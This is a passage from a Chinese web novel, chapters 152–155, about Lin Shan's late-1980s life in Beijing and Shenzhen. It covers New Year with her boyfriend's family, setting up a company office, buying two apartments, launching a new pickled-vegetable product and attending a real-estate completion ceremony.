两人坐在厨房的小桌上边吃边聊天，林珊说：“我妈挺能睡的，大概要睡到快晌午了。” 贺正岩笑道：“我妈估计也差不多。” 今年郭有财不在家，林珊家也不用给其他什么人拜什么年，王大娘家虽然之前每年都去，但今年他们都知道贺正岩娘俩要过来，自然就商量了一下改天再聚。 两位母亲都上了些年级，多睡会儿补补也挺好的。 林珊：“那咱们吃完饭我带你去公司看看？”那地方盖好之后，他还没见过。反正这年头过年哪儿都关门，根本没有可以逛的地方，不如去自家的地盘看看。 “好啊，去看看你打下的江山。”贺正岩看着她乐。 林珊笑着嗔他一眼，知道他是在戏谑自己之前说过的话。 两人打情骂俏似的吃完饭，正准备收拾一下就出门的时候，姜春荣醒了，跟着后脚赵桂花也揉着眼起来了。本来预备的二人行程，一下变成了四人出游。 等两位母亲吃完早饭，四个人裹得严严实实地朝公司走去。 大年初一的街上一片喜庆，不时就能遇到一茬又一茬的邻居，大家都要赶着去拜年，说上几句吉祥话，也就散了。交情够的知道贺正岩跟姜春荣是谁，说说笑笑，一通问候。交情不够的，即使好奇也不好意思问。 路上，赵桂花给姜春荣介绍着沿路这些房子都是干什么的，路过新兴胡同口的时候，她还指着自家以前的旧房子，开始忆往昔。 姜春荣听得非常感慨，“真是不容易啊。” 赵桂花点点头，笑道：“苦日子都过去了，现在谁看见我不说我命好啊。”说着，她还回头看着林珊跟贺正岩，“姐，你看咱这俩孩子，多好！” “那是。”姜春荣笑着点头，她也觉得才子佳人般配得很。 林珊跟贺正岩对看一眼，无奈地笑了。 这个新年，是林珊过得最轻松的年，从初一到初三，吃吃喝喝逛逛，没想一天正事，而且她还学会了玩儿麻将。 四个人正好能凑一桌，一边闲聊一边玩儿，非常快乐。 初四贺正岩跟姜春荣回京了，赵桂花礼尚往来，给他们同样装了一车自家的特产。这时候过年跟后世不一样，家里不备东西是会饿着的，想出去吃都找不到开门的地方。 贺正岩跟姜春荣俩人都是初六上班，回去之后见见朋友，正好开始忙正事。 依依不舍地把两人送走之后，林珊也开始写公司的年度计划了。 初八员工们开始返工，厂子开始生产，除了还在放假的孩子，一切都恢复了正常。 食品厂要研发新品的事，年前大家就知道，开年后看着林珊写得计划书，一个个惊叹不已。从咸菜类型到营销手段通通都想好了。 配方林珊写了三份交给了林红，准备让她做最后的把关。 李国超的老婆前段时间已经进公司上班了，林珊询问了她的意愿后，把人调到了酱菜部门，配合林红跟王芳一块儿做研发。 服装小分队今年要继续开疆扩土，任务还是很重的。不过由于有张学强通过包子加盟店积赞的人脉打头阵，小分队的工作还是可以相对容易那么一点的。 粤城那边的服装厂，林珊给阿英今年的任务是供货自制率达到50%，也就是说所有门店的服装要有一半是自家做的衣服。 阿英表示非常有信心，她这个年一点儿都没闲着，每天在家里画设计稿，做衣服。全家人都是她模特，不穿都不行。 安排好这些事情之后，林珊也该回京了。赵桂花知道她回去是要买房子和给公司找地方，所以也就跟着去了。 林珊想了想，顺便把李娜也带上了。她这两年表现得非常好，俨然已经成了公司财务部的顶梁柱，她又一直想去京市玩儿，带这丫头去到处逛逛也挺好的。 林珊之前是拜托服装店的一个老主顾董兰帮忙找房子的，她家那口子是专门干中间人这个行当的，手里有不少资源。 林珊对公司的地址要求是不能离科研所的房子太远，最好是正式办公的地方，租金在合理范围之内。她年前拜托的人，这不一过完年，董兰的丈夫老江就约她去看房了。 老江一共筛选出来了三处地方，都在海甸区，要求也都挺符合的，算是各有各的优势。有平房小院儿，有办公楼，也有紧邻大街的门面房。 林珊带着老娘、李娜还有杨国福挨个儿都转了一遍，一时还真有些拿不定主意。 确实真都挺好的，小院儿面积大，但是位于居民区。办公楼哪儿都挺好的，就是地方有些小。门面房位置方便，大小也还行，就是周围环境有些杂乱。 几个人讨论了一会儿，都觉得可能还是小院儿更合适一点儿。小院儿虽然位于胡同里，但这是条大胡同，东风货车都能开进来，更何况是他们的小汽车了。 院子宽敞，房子也不算旧，之前的租户是木匠，在院子里给别人做活儿，也卖些手工家具。 院子不但汽车能开进去，还有地方再盖个门卫房，租金虽然不算太低，但签约的时间可以很长，最关键的是房主孙老爷子性格特别直爽，非常好相处。 贺正岩抽空过来看过之后，也觉得这地方不错。电业局的老地盘，基本都是一院一户，很少有大杂院，安全性挺好，而且出了胡同没多远就是大路，公交线路也多，方便员工上班，去哪儿都不算远。 签了合同付了钱后，林珊除了给老江的中介费，还请人家吃了顿饭。老江在饭桌上说，买单元房的事他还在帮林珊留意，目前他找的那些房子都比较破，不太符合要求。 “江叔您慢慢儿来，我不着急，有合适的最好，没有也无所谓。” 林珊知道京市目前市面上现存的楼房，大多数都是其他单位的房子。这种房子不好出手办手续，她一个外人要买单位房的话，手续相当复杂。 前几年大家想买房，基本都是趁哪个单位的房子要开始建设之前搞个指标，这样分配的时候手续就好办多了。不过也不是总能那方面的条件都合适的，需要慢慢碰。 林珊记得京市在89年2月份的时候有黄金地段的商品外销房在售，就是卖得不太好。老百姓嫌贵，一共350套还有一百多套没卖出去，她准备安排好公司的装修事宜之后，登门看看房子如何。 第152章 第152章 买房投资 林珊简单规划了一下公司的装修方案, 就给还在老家过年的王大军打了个电话。 请他复工之后，帮自家公司装修改造。暖气炉要安上，吊扇要有, 门房要盖一个，厕所也要推了重盖, 地面也要都打上水泥，不然下雨、下雪踩得倒是泥。 绿化就不做了, 本来院子里就有两棵树，一颗枣树, 一颗银杏, 只要把它们都维护好就很漂亮了。 李娜看着林珊画得图，突然就想来这儿上班了, 还指着图纸对林珊说：“姐, 我以后坐这儿。” 林珊笑道：“好, 这位子给你留着。” 赵桂花觉得这儿虽然也挺好的，但跟安河公司的气派好看还是没得比, 不过自家能在京市开公司, 这是多光宗耀祖的事儿啊。她一高兴, 就非让林珊拿着新买没多久的相机给她照个相。 她要跟公司合个影，回去好跟杨老太和红梅吹。 这一趟来京，林珊带赵桂花跟李娜逛了好多景点，吃了老莫餐厅，还去了全国第一家肯德基吃快餐。 俩人每到一个地方都要拍照, 老莫餐厅环境好, 她俩就跟那些后世的美食博主似的，不停地吃吃拍拍。去了肯德基，她们可能是不习惯这种快餐的用餐方式, 觉得东西是挺好吃的，就是不乐意花这么多钱也不给个筷子，吃鸡块还得用手抓。 林珊对汉堡不是特别感冒，打包了两份给贺正岩和姜春荣。这店都开了一年多了，她从来没想过来尝尝，这回既然排 了这么久的队，就不能白来，给他们母子俩也各来上一份儿。 姜春荣和贺正岩对汉堡炸鸡都不陌生，虽然不会特别地想吃，但是偶尔来上一回，也是相当美的。 赵桂花知道姜春荣年轻的时候在外国生活，不禁好奇地问她：“怎么样？跟美国那边儿有啥区别？” 姜春荣年轻的时候虽然吃中餐更多，可汉堡也没少吃，尝了一下，“挺好吃的，感觉差不多。不过那边只有牛肉的才叫汉堡，这种鸡肉的叫三明治。” 赵桂花涨了知识，开心地说：“味儿差不多就行，吃了这个就等于我去过美国了！” 众人都被她逗笑了。 过了小年，生活又变得忙碌起来。王大军的团队回到京市就开始着手林珊公司装修的事儿，她自己去了趟那家正在售卖的商品房的房地产公司。 地理位置确实不错，在后世这地方要将近十万一平了，目前只要1900元一平，三居两居都有，92-65平方。小区的建设中规中矩，格局就是现在流行的大卧室格局。最关键的是，林珊知道这一片儿是后世的学区房。 那还有什么可说的，当然是直接拿下投资了。 不过在买之前，林珊还是让贺正岩过去看了一眼。 贺正岩没想到她物色一个房子这么快，他托人给她打听房子的事前两天才刚有了眉目。 林珊笑道：“这是我自己找的，我托的人也没找到，看完这个，咱们再去看看你找的那个。” 贺正岩当然没意见，开始参观这个“西城花园小区”，环境还行，进屋之后的格局也可以，他敲了几下墙，细看了看用料和手艺，都还不错。 虽然肯定比不了机关单位的家属院，但是作为一个以卖房子挣钱的公司来说，也还行。 “不长住，用来投资的话还不错。”他下了这么一句评论。 林珊笑了，“你要求太高啦贺首长。”住惯了保卫系统一流的大院儿，肯定看不上这年头的小区房。只是那些院子普通人根本不进去啊，她想买也没辙。 出了花园小区，贺正岩在回去的路上，把物色好的那个房子简单介绍了一下，“房子有七、八年了，但是保养得还挺新，地理位置不错，最主要的是安全。” 房主贺正岩认识，是海甸公安局的，这是他单位分的房。他媳妇儿是军人，房子比他分得还大，一家三口常年住军区大院，最近因为急需要用钱，所以就想着把这套房给卖了。 这年头公安局的单位房不让卖，而且也没有房产证，林珊要想买的话，只能依靠双方间的合同作为保障，以后等单位统一去申办房产证的时候，找人写上林珊的名字就行。 邻居要是问，还得说是房主的亲戚，只是借住而已。 虽然麻烦，但这时候买这种单位房大部分都要这样。大家都没有房产证，都是很多年后政策下来现补的。 贺正岩看上这小区，完全是因为安全原因。一家属院儿的公安，旁边就是分局，连门卫都是退休公安，管得很严。林珊一个女孩子，又出名又有钱的，不防着点儿不行。就算她自己将来不住，她的家人也是劫道的目标，多注意些安全比较好。 “那咱们现在能看看房吗？”林珊被他说得有点儿心动。 “我呼他一下。”说罢，贺正岩在路边停了车，找了个电话呼人。 房主李志民很快就回了过来电话，贺正岩把情况一说，那边立刻表示现在就能看房。 林珊还不知道海甸分局就位于大学扎堆的地方，离她学校、科研所、姜春荣的房子，以及新公司都非常近。简直就在自行车活动的范围之内。 怪不得贺正岩相中这儿了。 家属院还挺新的，一点儿都看不出已经盖了七、八年的样子。小区地方不小，树不少，还有个小花坛，休闲活动的地方很大，他们去的时候是下午，还有几个小孩子在下面跑着玩儿。 里头干干净净，门卫确实也如贺正岩说的非常严格。刚才李志民大哥还没到的时候，门卫不但不让他们站门口，还一直用审犯人的眼神盯着他们瞅。 贺正岩今天恰好穿得是林珊给他买的棉服外套，俩人开的也是林珊的车，要是穿上军装、挂着军牌估计能好点儿。 李志民大哥看着有三十来岁，人非常热情，跟门卫大爷特别熟悉，简单向对方表明俩人是自家亲戚，又登记了一下之后，一行人这才进了门。 李志民解释道：“干我们这行的，天天都在抓人，得罪的人太多了，大门不看严点儿不行。” 林珊非常理解，立刻表达了一番对公安同志的崇高敬意。 整栋楼一共六层，李志民的房子在三楼，是个两室一厅。里面挺空的，只有卧室放了张床，客厅放了一张小桌和两把椅子，厨房连开火的灶台都没放。 房子的格局非常好，两间卧室、客厅、厨房厕所都很宽敞。屋里特别干净，看着跟新房似的，这种没怎么住过的房子一定非常抢手。 整屋面积一共89平，熟人价谈到最低十万零八千块，林珊非常心动。她自己的钱够买两套房，索性也就不纠结了，直接两套都拿下。 这套要，那套西城的学区房她也要买。 李志民完全没想到小姑娘这么痛快，他以为今天就是看个房，没想到人家直接就决定要买了。 因为双方啥都没准备，贺正岩就跟他约定好明天签合同付钱交钥匙什么的。 敲定了一套房子后，林珊回到科研所就跟赵桂花和林红说了一声。赵桂花不放心，直说：“我才刚回来你这丫头就买房，你咋不趁我在的时候帮你参谋一下啊！” 林珊笑道：“这不赶巧了嘛，你们就放心吧，房子特别好，是正岩朋友的，不会错的，来了就知道了。以后全家人一块儿来京市玩就不怕住不下了。” 那个商品房就更不会出什么错了，能办房产证，而且她在后世的时候就知道那是个天价学区房小区。 林珊把两个房子的情况以及未来的收益前景说了之后，问赵桂花和林红想不想在京市买房。赵桂花说你的就是我的，我还要买啥房？林红则笑着说回家商量一下。 次日因为要拿大量的现金，贺正岩就把杨国福也叫上了。 林珊跟李志民在分局家属院签了合同按了手印，留下一份担保合同在贺正岩到那儿。交钱给钥匙后，李志民带着他们去门卫那儿说了一下情况，因为不能说是卖房，所以林珊就成了李志民的表妹，以后表妹一家就常住这儿了。 大叔表示知道了，还问林珊是干啥的，知道林珊是清大的大学生之后，态度瞬间一百八十度大转弯，夸得她都有点儿不好意思了。等发觉贺正岩是军人之后，那态度就更加和蔼可亲了，还不停地说自己以前也是部队的。 贺正岩为了让林珊以后住得舒服，跟大叔攀谈了好一会儿，哪个部队的，连长是谁，枪打多少环，俯卧撑多少个，聊的大爷那叫一个高兴啊，称呼都变成了小贺小林这俩孩子了。 办好分局家属院的手续后，林珊、贺正岩和杨国福又去了“西城花园小区”的售楼处，说是售楼处其实就是开发商的公司。 贺正岩其实对私人的房子有些不放心，昨天傍晚打给房管局的朋友查了一下，确认没问题后，才请对方帮忙砍了下价。 由于之前已经看过房型了，所以林珊再次简单逛了一圈儿后，直接选择了位于小 区中间那排楼的三层西户。验了房，查看过各种证件后，签合同付钱。价格比她自己之前谈得便宜了六千多。 虽然林珊现在是学生集体户口，但是丝毫也不限制购买商品房，拿着房地产公司开的大票和户口本、身份证就可以去排队登记了。至于证什么时候下来，就看房管局和土地局那边了。 一天办了两件大事儿，说什么也要吃一顿好的庆祝一下，于是三人就去老字号吃了涮肉。 杨国福平时话不多，见到贺正岩话匣子倒像是打开了，一时间三人就两个房子怎么装修，聊得还挺起劲。 第153章 第153章 第一期竣工 林珊花园小区的房子, 是个三室一厅，92平。她不打算装修了，换一套锁, 配上简单的家具就行。 分局家属院的房子，因为现阶段要自己住, 所以就想着好好收拾一下。 这毕竟是她的第一套房子，肯定要按照自己的喜好去设计装修。比如说厨房, 她要做橱柜，洗手间要装前段时间刚出来的太阳能热水器, 蹲坑要换成坐便器, 卧室要做两个床头柜，客厅要弄个茶水区等等。 总之只要能安排的, 一定要尽可能的都弄上。 装修的事还是交给王大军的团队, 家具就全由吕大爷帮忙打造。分局家属院是个大型两室一厅, 林珊还是准备改成三居，比起所有东西都堆在卧室, 她更喜欢功能分区。 主卧就单纯睡个觉好了, 另一个卧室打一排衣柜, 平时做衣帽间，来了客人也可以当客房，改造后多出来的第三间房则作为书房，学习办公都不耽误。 客厅左侧放电视茶几沙发，右侧放餐桌, 茶水区位于餐厅靠墙的那一面, 紧邻着厨房。这样规划分区明显，不显凌乱，动线还很流畅。 至于每个位置需要的家具类型, 林珊也都画了下来，做家具需要的时间长，得提前跟吕大爷沟通好。 家电的部分，林珊准备这次去粤城的时候，从郭广盛那儿采购。一来他家的电器型号新颖，给得还是绝对的骨折价，自己带回来也能省不少运费。 贺正岩特别喜欢林珊设计的屋子，感觉跟之前完全变了个样儿，既好看又实用，他搂着她笑着说：“那以后咱的婚房，也麻烦林大设计师设计一下吧？” 林珊伸手，“设计师费很贵的。” 贺正岩亲了她一下，“多贵都没问题，倾家荡产都行。” 林珊窝在他怀里笑，“以后要是谁说敢你不会打情骂俏，我第一个站出来抗议。” 三月中旬的时候，食品厂的新品“下饭菜”终于研制出来了。 “下饭菜”经过林红一行人这么多时日的调配，做出来的口味可以说，不但碾压这个时期市面上的所有榨菜，就是拿到后世也绝对比其他竞品更好卖。 满满一大瓶“下饭菜”，专门花钱学来的直投式乳酸菌发酵工艺，精心优选的辛香料搭配，再加上特意熬制的林爱国家的专属料油，味道真得堪称榨菜届的一绝。 林珊把做好的第一批样品都分给自己的人尝了，得到的反馈全是特别好吃，就连不怎么爱吃咸菜的贺正岩，都觉得味道很不错。 用林珊家包子铺的忠实拥护者——梁小慧的话来说：“一吃就知道是你家的东西，但是又很奇特的跟辣椒酱和肉酱完全不同，总之就是特别好吃！” 林珊准备趁着下个月去粤城的时候再做上一个广告，买点儿电视台的时间，宣传一下自家的新品，努力再做出一个爆款来。 四月初的时候，京市的公司装修好了。不但魏雪琴和闫青、闫强有了办公地点，一直在外头跑债券的闫超，和保镖兼司机杨国福，也有了办公的位置。 林珊让杨国福帮忙找了一个门卫，是个跟他背景差不多的大爷，五十出头，认真负责的程度一点儿不亚于分局家属院的那个门卫大爷。 地方全部弄好之后，林珊又跑去工商局注册了“京市华耀商贸有限公司”，把“京市红珊服装有限公司”关联在了它下面。 鎏金字样的招牌一挂，小院儿特别像样，路过的人都忍不住探头朝里张望。 姜春荣过来看过之后，一个劲儿夸林珊能干，还对贺正岩说：“你可得多努力才能配得上咱们珊珊啊。” 贺正岩行了个军礼：“是，首长。” 姜春荣哈哈乐，林珊笑着推了他一把。 王大军忙完了公司，立刻就马不停蹄地开始帮林珊装修房子。因为方案早策划好了，所以一切都进展得非常顺利。 林珊由于近期要跑安河跟粤城，督工的事儿就交给了闫强负责。 安河那边马上要进入生产阶段，生产线还需要再增加几条。原本的酱料厂房已经占用了约65%的地方，需要重新再规划一下摆设，看看怎么运作更加合理。 林珊在厂里又是安排机械，又是策划动线，又是让工人试行的，忙活了三、四天才把生产线都搞定了。工人那边已经再次扩招完毕，培训完这个月底就能上岗，运输方面赵福也都提前做了准备。 毕竟有过一次辣椒酱爆单的经验了，这次办起来就格外顺手。 安河这边没什么问题之后，林珊就迅速南下了。这次是赵桂花、李国超和杨国福跟她一块儿去的。赵桂花原来没打算去，结果一听“富景丽苑”全面竣工，要开个盛大的仪式，那她说什么也要参与一下了。 他们本来还想带上林红的，可是小昊昊还没断奶，她根本走不开。 林珊一行人抵达粤城后，第一件事就是去广告公司跟刘灿荣谈“下饭菜”的广告策划。这次的基调还跟辣椒酱差不多，表现出“林爱国”家新出的“下饭菜”特别好吃，把好食材、加工工艺这些卖点拍出来就可以。 刘灿荣不是第一次跟她合作了，立刻表示完全没问题，绝对会让她满意的。 谈好广告，林珊前脚刚走出人家公司大门，阿英就迫不及待地拉着他们去服装厂了。 她最近设计了很多衣服，也做了很多样衣。春装先前就已经顺利通过，大货也正在各大门店售卖中，目前要等林珊验收的是一批夏装，正好她要来粤城，也省的往京市寄样衣了。 春夏装相对于秋冬装要稍微好做一些，阿英设计的这一批连衣裙和单裙都非常漂亮，有好几款林珊当场就拿走了。这次布料的选择比之前多了一些，做工也更精进了。有件天蓝色的无袖真丝背心，简直一眼就戳中了林珊的心。 她忍不住夸奖阿英：“雷大设计师，你是真是太厉害了！” “就是！太好看了这些衣服！”赵桂花一把捧住阿英的脸，她真是越来越喜欢这丫头了，“你画得这两件短袖，还有这个七分长的裙裤太好看了！” “都拿走穿，这次的样衣我做了三、四件。”阿英看见她们喜欢，自己也非常开心。 林珊笑道：“这些设计越来越有你自己的想法了，很有型干练，但是又不失女性风采。这几条单裤也是，又耐穿又有小心思，版型一绝。非常棒！进步太神速了！” 阿英摸着脑袋笑，有点儿不好意思，“姐觉得不错就好，我还是得再学习学习。” “傻孩子谦虚啥，就是特别好看！我瞧着比咱家之前那些外来货还好！”赵桂花可不想允许阿英谦虚，又是竖大拇指，又是满脸骄傲地看着她笑。 阿英这下是彻底被表扬得脸皮薄了，小脸蛋红彤彤的。 服装厂这边的进展神速，林珊觉得用不了一年就能达成自制率50%的目标。等达到百分百的自制率之后，就是为品牌大力铺路的时候了。 其实林珊这次来粤省最主要的任务，是参加“富景丽苑”一期的竣工仪式，所以一行人次日就跟着雷生金和郭广发去深城了。 “荣发”房地产公司贷款的事儿，上个月已经批下来了，两个银行一共贷了五百万元整。六月份他们看中的那块地皮要拍卖，郭广盛已经铺好路了，预 估780万-800万左右就能拍下那块12000平方米的地。 87年底那次，是深城第一次拍地。当时一共要拍卖两块地皮，郭广盛拍了一块儿，李姓港商拍了另外一块儿。虽然还有其他参与者，但最终都因为资金不够雄厚而放弃了。 这次可就不一样了，只有一块儿要拍卖，而且还是块儿宝地，虽然同样地处罗湖，位置却在林珊画得那张图的区域发展中心，所以即使从土地局那边知道李姓港商也要参加这次的拍卖，几个股东仍然决定就算叫到1000万，也要把地拿到手。 李姓港商之前拍到的另一块儿地，现在还慌着没动呢。郭广盛也不知道他想干嘛，忍不住吐槽道：“那边的有钱人就是闲的，跑这边跟咱们抢地玩儿。” 林珊见大家都有点儿好奇，于是把自己在后世了解的事情说了。 雷生金消化了一会儿，问道：“他这是不是就是前几年，报上说的那种大资本家啊？” 林珊组织了一下语言，“本质是上，只不过现在掩饰得比较好。” 国家到后期也不是不知道那位富商的本性，但人家不犯法，你也不能怎么着。后世都是如此，更何况现在这个时期，全国穷得叮当响，只要能拉来投资，愿意把钱放到这块土地上，那就是好商人。 虽然林珊知道李港商的最终目的是什么，但是人家拍地的那五百多万，可是实实在在给了深城政府的。 郭广发感慨道：“这点子估计也就人家能想出来了。” “放二十年真能挣那么多？”郭广盛心思比较活泛，忍不住悄悄算起账来，不过算着算着他就蔫了。 知子莫若父，郭有财瞧郭广盛这副模样，就知道他在想啥，于是叹气道：“囤地也得有资本才行，人家行，咱不行。再说了，那边的人心里不一定把咱这片土地当家，咱可跟他们不一样。” “是。”林珊喜欢郭有财这番话，“改革开放的目的是为了让国家更好得发展起来，咱们这些先富起来的人，要是只顾着贪得无厌发更大的财，那就有点儿说不过去了。” “是是。”郭广盛顿时有些惭愧，“咱就踏踏实实盖房子好了，挣得又多，还能给深城做贡献，咱不学那姓李的。” 他为了缓解尴尬，挨个儿给大家添了些茶，“各位，明天上午十点咱‘富景丽苑’盛典会非常隆重，省、市和港城那边的电视台都要来，大家都好好捯饬一下啊，尤其是爸您。” 郭有财瞪他一眼：“老子就这样儿。” 第154章 第154章 “荣发”的盛典 上午十点, “富景丽苑”热闹得像是地处闹市区一样。 门口汽车摩托车自行车停了一长排，围观的群众挤了一圈儿又一圈儿。锣鼓喧天、舞龙舞狮这些热场子的仪式，比上回开售的时候, 场面足足大了两倍。 舞台上摆满了鲜花，全铺着红毯, 结婚用的彩带和礼宾花，也都在一旁等着备用。 铺着饭店桌布的长桌上, 摆放着领导们的名牌，寓意美好的鲜花贯穿头尾, 白色带盖的瓷杯附在旁边。台下右后方摆着一排长桌, 上面放着各色点心和瓜果。 郭广盛还从酒店借了六个漂亮帅气的服务员，过来充当招待。负责给现场的贵宾们端茶倒水, 传递食物。 林珊对这场面叹为观止, 这个年代能弄成这样, 实在是想当隆重。尤其再配上建设得这么美丽幽静的“富景丽苑”，简直有了种跨时代的感觉。 赵桂花兴奋得不行, 跟刘姥姥进大观园似的, 她对台上的领导不关心, 对电视台的人也不感冒，全程都在转着脑袋看整个小区。 上回她来的时候还都是工地呢，这回完全大变样，不但房子盖得又高又漂亮，院子里布置的也像个花园。这些花花草草名字她都叫不出来, 但人家弄在一块儿就是特别好看, 还有那些树，都不是他们北方那边儿有的，长得真别致。 刚才闺女说那边还有个小广场, 待会儿散会之后她可得好好去看看。 今天的仪式跟上次的流程差不多，都是领导讲完，郭广盛讲，跟着上升一些价值，期盼一下美好的未来，最后大家一块儿揭开“富景丽苑”的招牌，礼宾花一放，彩带一撒，鞭炮锣鼓齐上阵，舞龙舞狮的队伍也开始继续表演。 第一个环节结束后，重头戏才正式开始。郭广盛今天请了这么多人过来，就是为了展示“富景丽苑”的小区建设和物业服务。 他自己充当讲解员，陪同领导和记者摄像们从入口处开始参观。 虽然第一期只盖了四栋楼，第二期还在一墙之外的工地上努力建设中，但单单这个可以堪称鸟语花香，打扫得一尘不染的小区环境，就很让人心动了。 小广场建设得像个小公园，不但有人们活动的地方，还有凉亭可以休息。每栋楼门口都安装了单元门，每层楼都有声控灯，楼梯间很宽敞整洁。 房子格局非常好，即使是东侧，采光也很足。楼盖得相当结实，层高比其他楼房都高，房门用得都是好料，窗户非常严密，一眼就能看出是下了功夫盖的楼。 领导给予了“荣发”公司很大的肯定，郭广盛心说这还不是最主要的，等参观完房子，还要带他们看一下自家独一无二的物业服务，那才叫震撼。 房子很好，小区很靓，但如果没有好的物业服务，小区也很难一直维持这样的状况。 郭广盛把大家领到小公园后面的一排平房面前，大手一挥：“这是我们‘富景丽苑’的物业服务处。” “物业服务？”有位领导上次没来，不知道“荣发”还弄了这种东西。 郭广盛立刻笑着把领导和记者们请了进去，“是的，我们‘荣发’还提供专业的24小时全天守候管家式服务。” 大家都好奇这个“管家式服务”到底是个什么，郭广盛赶紧让小区的物业主任罗庆全为大家详细介绍一下。 罗庆全是经过培训的，不但把“荣发物业”的服务范围说得那叫一个细致，还描述出了林珊给物业公司立的标准：入住‘富景丽苑’，就如同进入了世外桃源，在这里您会生活得无比舒心惬意，再也不用为任何琐事操心。二十四小时安保，二十四小时管家，“荣发”全心全意为您提供最贴心周到的服务。 “好厉害，港城的物业都做不到喔。”一个港城电视台的记者小声感慨，他们是郭广昌花钱请来的，本来以为就是做个新闻，报道一下楼房的情况，没想到这么慌的地方竟然有这么先进的服务。 一位土地局的领导很是赞同：“这服务很有新意！” “是，思想非常活跃，各位记者同志们可一定要好好宣扬出去啊，这代表我们深城的进步。” “是，您放心，咱们省、市台，包括报纸都一定会好好宣传‘荣发’的。” 领导点点头，对郭广盛说：“深城是改革开放的前沿阵地，你们‘荣发’做得非常好，以后要继续保持。” “一定一定！”郭广盛立刻表示：“我们‘荣发’虽然是私人公司，但也一直秉持着合法经营、诚信为本，开拓进取、勤勉务实的精神在发展，我们不但要把‘富景丽苑’做成深城房地产的标杆，以后的每一个小区，也都要不断地追求进步！我们一定会为深城的建设做出自己应有的贡献！” “好！”领导很喜欢这番话，也很高兴他能有这种觉悟。 林珊在后面看着，都想为郭广盛鼓掌了，郭有财突然小声来了句：“不知道背了多久。” 周围几个亲近的人瞬间都笑了。 仪式结束回去的路上，赵桂花还在感叹“富景丽苑”真好，那小广场搞得真舒服，还有那个什么物业，就跟个大总管似的，啥都管，弄得她都想住进去了。 林珊笑着保证：“以后给您盖个大别墅，再弄个大花园。” “那妈就好好等着了！”赵桂花美美地应着，搂住自家闺女，怎么看怎么觉得她哪儿哪儿都好。 “富景丽苑”第一期圆满完成。竣工验收之前就已经做完了，在仪式开办前一周，公司就已经向业主们交房了。一些列手续都走得都非常顺当，第二期的建设也在如火如荼地进行中。 “荣发”房地产公司的第一个项目，完成得相当漂亮。第二块儿地如果能拿下的话，林珊希望能走更为高端一点的路 线，高层加电梯，小区的建设要比现在这个丰富得多，这个年代港城一些高档公寓小区里，配有游泳池，倒是个很不错的主意，非常适合炎热的深城。 由于六月份中旬要正式开始拍地，时间还是挺紧迫的，林珊就在股东会上把自己的想法说了一下。 大家都喜欢走高端路线，不过要是盖高层，装电梯，还弄游泳池这些场所的活，就不单单是造价问题，还有技术难关。 设计师要请牛的，建筑团队要找更有能力的，所有的配套设置都得动用关系才能弄进来。 郭广盛表示找建筑团队的事儿包他身上了，郭广昌负责在找大设计师，港城的不行，就去国外找。至于高端建材和电梯之类的，雷生金的人可以搞定。 就像林珊说的，既然咱们有外面的资源，就要做得跟别人不一样。现在拍的土地越来越多，干房地产的也会越来越多，不找到自己的核心竞争力是走不远的。没有超高的品质，无可挑剔的服务就算再吸引人，也就没办法发挥出它的能量。 “富景丽苑”盖得又好又挣钱，下一个要更好更挣钱才行！ 这次来深城，林珊除了忙“荣发”的事儿，还要给自己的房子买些电器。 她来的时候已经把单子列好了，郭广盛看了两眼就立刻表示：“叔送给你！” 林珊哪好意思白拿啊，笑着说：“我买的东西太多了，人都说亲兄弟明算账，咱亲叔侄也不能坏规矩啊，您就给我便宜点儿就行了。” 郭广盛知道林珊的脾气，也没再多坚持，“那这样，我待会儿让小王把图片拿给你挑，看看你能相中哪些型号。全部按进价。” “谢谢叔！”林珊感激不尽。 这次她想要的电器很多，冰箱、彩电、洗衣机、空调、热水器，几乎是全套的家电了。不仅京市用，她还想着给安河家里和林红也都安上一台空调。 京市市面上的空调基本都是窗机样式的，挂式和柜机极少，而且贵得离谱。 深城这边样式新颖全面，价格也非常合适，尤其郭广盛还给了她个骨折价，不但林珊觉得划算，赵桂花也忍不住定了两台，一台放家里，一台给林红。夏天热，可不能让小宝贝昊昊遭罪。 林珊也买了两台，一台自用，一台给姜春荣。贺正岩那边完全不用操心，贺老爷子的房子里什么都有，冷不着也热不着他。 由于买了这么多电器，林珊一行就算一共四个人也全带不走，郭广盛直接给他们安排了货运。像电饭锅、录音机这些小件的东西随身带着没问题，大的就别自己瞎折腾了。 林珊这趟粤省之行，可谓是真正意义上的满载而归。 返回安河后，她还没怎么歇脚，第一件事就是跟小昊昊玩儿。这小家伙现在已经一岁四个多月了，不但学会了走路，小嘴还特别能说，见了谁都要打招呼。 王大娘退休之后全职帮他们看孩子，林红又经常在公司，所以天气好的时候，她就会推着小家伙来公司逛逛。院子大，环境好，小娃娃到处跑别提多开心了，公司的叔叔婶婶都特别喜欢他。 昊昊跟林珊很亲近，一见她就要抱，嘴里还说：“小姨，想小姨。” 林珊抱着他心都融化了，肉乎乎的小奶娃，谁能不沦陷啊，“小姨也想你啊，小宝贝。” 趁着林红刚忙完“下饭菜”的研制，王军最近也比较轻松，林珊就跟他们商量，“干脆趁着你们这次去京市买房的时候，把昊昊也带去玩儿两天？” “人太多了吧。”林红担心住不下。 林珊早想好怎么安排了，赵桂花跟王大娘住一个屋，林红一家三口住另一个屋。她自己住宿舍，正好还没到考试季，完全有时间带他们到处逛逛。 第155章 第155章 进京游玩儿 这一次进京, 大家一共开了两辆车。 王军带着王大娘和赵桂花在前面，林珊跟在后头，杨国福负责开车, 她自己和林红在后座陪小昊昊玩儿。 大家一路欢声笑语，不到三个小时就抵达了目的地。 一行人里, 就林红跟小昊昊没来过京市。小昊昊还小，本来就看什么都稀罕, 林红可是去过粤城和汉州的，结果一下国道, 她也是看哪儿都觉得不一样, 还不时发出感慨：“首都就是首都，看着就特别不一样, 路真宽！那是个什么地方？看着真敦实。” 林珊也不知道那是啥, 估计是个什么单位吧。 抵达科研所家属院后, 几人先好好安顿了一番，才出去吃午饭。去的是贺正岩朋友在附近开的一个饭馆, 因为人多, 人家还特地给留了个大桌。 王大娘前几年来京市玩儿过, 感慨这才多久没来，感觉就大变样了。 “是啊，发展得真快。”王军也深有体会，他83年的时候来过，当时吃住都在招待所, 服务员眼皮子一个个朝天, 对谁都爱答不理的。外头也根本没那么多饭馆，你再看看现在，几乎一整条街都是各种个体户铺子。 “咱安河都变样了, 更不用说人家京市了。”赵桂花在这儿住过一阵儿，已经对一切都不惊讶了，她觉得首都就该比哪儿都好，“看看，这家常菜做得都比咱那儿好吃。” 林珊笑了，“味道确实挺地道的，大家赶快尝尝。” 其实林红跟王军这次来，主要任务是买房，就是林珊买的那个花园小区。他们一家商量过后，都觉得应该跟着林珊一起投资。 